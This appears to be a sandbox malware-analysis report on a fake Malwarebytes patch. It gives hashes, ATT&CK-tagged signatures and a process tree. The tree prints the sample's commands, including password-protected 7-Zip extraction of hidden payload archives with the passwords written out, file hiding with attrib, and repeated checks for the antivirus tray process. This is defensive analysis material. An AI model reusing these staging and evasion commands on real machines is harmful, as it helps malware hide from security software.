8d4cf683249b4a52d4a4291c9346adfd6ce7267a0b45a570ec4758461cd4d535

Analysis

max time kernel
149s
max time network
92s
platform
windows10-2004_x64
resource
win10v2004-20231130-en
resource tags

arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system
submitted
11/12/2023, 01:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Patch_MB 4.6.x.exe
Size

65.2MB
MD5

221c91446a819b12ffe65263f9174928
SHA1

9f7464100e7ffc37116a6e55fb0575cb832fd523
SHA256

38b73b21597d336878202015e7a137a93b266e3a4d71274a24671cdd54b3d000
SHA512

0da45b29849c52dc2e1f91ff3a69b611717f32165bde4358b54d182337654f8acecb9f491d897428b388bf630a1a80dfdcd92433ab238fa2cd5788191985b0c2
SSDEEP

1572864:HOUOMLEmI4Z8TDCNU63i/BNJNRaGUwDfSzE3FjBdJ14A8/IuNbDdwNVLD:HOUOCEmzfWBNJN4iSzE3FjBCIuNbu/D

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
3460	7z2201.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
96	ipinfo.io
97	ipinfo.io
98	ipinfo.io
105	ipinfo.io

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\7-Zip\7zCon.sfx	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\br.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\hy.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mn.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ms.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\zh-tw.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\descript.ion	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ug.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\zh-cn.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\cs.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\fi.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\is.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\sr-spl.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\bg.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ko.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.sfx	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\de.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sv.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\History.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ta.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\el.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\id.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\th.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\da.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ru.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sw.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\is.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\kk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\sv.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tg.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mr.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\si.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7z.exe	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\be.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fur.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ga.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\yo.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fa.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\mn.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\si.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\uz-cyrl.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7z.sfx	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7-zip.chm	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ja.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\uk.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\readme.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7zG.exe	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pt-br.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ar.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\cy.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\el.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\et.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hy.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pa-in.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\gu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ku-ckb.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\sk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\az.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tr.txt	7z2201.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4680	4792	WerFault.exe	267

Delays execution with timeout.exe 20 IoCs

evasion

pid	Process
1696	timeout.exe
4460	timeout.exe
1740	timeout.exe
1912	timeout.exe
1404	timeout.exe
3916	timeout.exe
408	timeout.exe
4628	timeout.exe
4100	timeout.exe
2072	timeout.exe
4308	timeout.exe
4600	timeout.exe
320	timeout.exe
3468	timeout.exe
4628	timeout.exe
60	timeout.exe
2292	timeout.exe
728	timeout.exe
4496	timeout.exe
3732	timeout.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
2068	tasklist.exe
992	tasklist.exe
716	Process not Found
2580	Process not Found
1952	tasklist.exe
728	tasklist.exe
2384	tasklist.exe
772	tasklist.exe
4544	tasklist.exe
4284	tasklist.exe
1920	tasklist.exe
4428	tasklist.exe
2376	tasklist.exe
4056	tasklist.exe
3500	Process not Found
2980	tasklist.exe
920	tasklist.exe
1772	tasklist.exe
404	Process not Found
1668	tasklist.exe
4508	tasklist.exe
1596	Process not Found
2116	tasklist.exe
3136	tasklist.exe
4264	tasklist.exe
1964	tasklist.exe
3800	tasklist.exe
2020	tasklist.exe
4548	Process not Found
4784	tasklist.exe
4164	tasklist.exe
928	tasklist.exe
5012	tasklist.exe
3388	Process not Found
1672	Process not Found
2940	tasklist.exe
216	tasklist.exe
3732	tasklist.exe
2088	Process not Found
3064	Process not Found
2636	Process not Found
4948	tasklist.exe
1776	tasklist.exe
4052	Process not Found
2864	Process not Found
4460	Process not Found
1688	Process not Found
2456	Process not Found
4376	tasklist.exe
2484	tasklist.exe
4536	tasklist.exe
4048	tasklist.exe
1692	tasklist.exe
2892	tasklist.exe
1336	tasklist.exe
1928	tasklist.exe
1340	tasklist.exe
1688	tasklist.exe
4348	tasklist.exe
2576	tasklist.exe
1568	tasklist.exe
428	tasklist.exe
464	tasklist.exe
528	tasklist.exe

Modifies registry class 15 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files (x86)\\7-Zip\\7-zip.dll"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2201.exe

Runs ping.exe 1 TTPs 6 IoCs

Remote System Discovery

T1018

pid	Process
1080	PING.EXE
4596	PING.EXE
3064	PING.EXE
1532	PING.EXE
1416	PING.EXE
5028	PING.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 5096	2036	Patch_MB 4.6.x.exe	91
PID 2036 wrote to memory of 5096	2036	Patch_MB 4.6.x.exe	91
PID 5096 wrote to memory of 3460	5096	cmd.exe	92
PID 5096 wrote to memory of 3460	5096	cmd.exe	92
PID 5096 wrote to memory of 3460	5096	cmd.exe	92
PID 5096 wrote to memory of 2920	5096	cmd.exe	111
PID 5096 wrote to memory of 2920	5096	cmd.exe	111

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2920	attrib.exe
3456	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Patch_MB 4.6.x.exe
"C:\Users\Admin\AppData\Local\Temp\Patch_MB 4.6.x.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4R8UO2IF.bat" "C:\Users\Admin\AppData\Local\Temp\Patch_MB 4.6.x.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Users\Admin\AppData\Local\Temp\qbE57440E.6E\7z2201.exe
    "C:\Users\Admin\AppData\Local\Temp\qbE57440E.6E\7z2201.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies registry class
    PID:3460
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:624
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1264
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5112
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:868
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE57440E.6E\rs.7z" -o"C:\Users\Admin\AppData\Local\Temp" -pdsfmhjgdfkmhgjkdfuBFngdkfhgiduy5rg -y
    3⤵
    PID:1072
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE57440E.6E\ck.7z" -o"C:\ProgramData" -pgfdgjhdfkjdyugi7ur7dyfhgjdhfgGDFgnhjdf7 -y
    3⤵
    PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pb.cmd"
    3⤵
    PID:384
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:2292
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:728
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1776
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4304
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:464
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3648
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:116
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4548
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1640
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:804
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4496
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:408
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:1696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:624
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2276
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4460
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2292
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3388
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3456
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4872
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4588
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4784
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1444
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4580
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1656
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:4580
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:1740
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:1912
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4308
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:320
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3456
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2616
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4532
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1676
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:5012
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3732
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4100
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:2072
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4600
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4628
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3468
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3136
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2700
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4172
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4264
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:968
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4540
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1252
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4216
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2132
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:444
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:2376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2928
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1776
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4516
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2744
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5012
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3272
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5052
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2072
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2788
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:736
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4628
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3812
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1344
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3920
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1324
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3948
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2572
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:676
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3364
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2168
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3076
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2168
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2888
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4616
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1204
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1204
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:2892
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1204
      - C:\Windows\system32\tasklist.exe
        
